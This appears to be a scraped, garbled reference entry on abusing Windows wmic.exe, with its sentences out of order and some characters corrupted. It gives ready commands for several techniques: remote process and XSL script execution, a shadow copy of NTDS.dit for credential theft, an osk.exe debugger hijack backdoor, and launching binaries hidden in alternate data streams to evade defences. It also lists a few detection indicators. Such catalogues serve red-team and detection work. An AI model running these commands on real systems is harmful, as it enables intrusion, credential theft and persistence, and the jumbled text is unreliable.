OS: Windows vista, Windows 7, Windows 8, Windows 8. Usecase: Execute script from remote system
Wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl" Wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "cmd /c vssadmin create shadow /for=C:\Windows\NTDS\NTDS.dit > c:\not_the_NTDS.dit"Įxecutes JScript or VBScript embedded in the target remote XSL stylsheet. Usecase: Execute binary with scheduled task created with wmic on a remote computerĬreate a volume shadow copy of NTDS.dit that can be copied. Note Beginning in 2012, WMIC is deprecated in favor of PowerShell cmdlets which perform equivalent CIM operations, such as get-wmiobject, invoke-wmimethod, Get-wmiobject, and gwmi. Wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "at 9:00PM c:\GoogleUpdate.exe ^> c:\notGoogleUpdateResults.txt" Short for 'WMI console,' wmic is a command line command to query WMI (Windows Management Instrumentation) entries. Usecase: Execute binary on a remote systemĬreate a scheduled execution of C:\GoogleUpdate.exe to run at 9pm. Usecase: Execute binary by manipulate the debugger for a program to evade defensive counter measures Wmic.exe process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f" Each time osk.exe is run, cmd.exe will be run as well. Usecase: Execute binary from wmic to evade defensive counter measuresĪdd cmd.exe as a debugger for the osk.exe process. OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 Usecase: Execute binary file hidden in Alternate data streams to evade defensive counter measures Wmic.exe process call create "c:\ads\file.txt:program.exe" EXE file stored as an Alternate Data Stream (ADS) IOC: DotNet CLR Usage Log - Įxecute a.IOC: DotNet CLR libraries loaded into wmic.exe.IOC: Wmic retrieving scripts from remote system/Internet location.
0 kommentar(er)
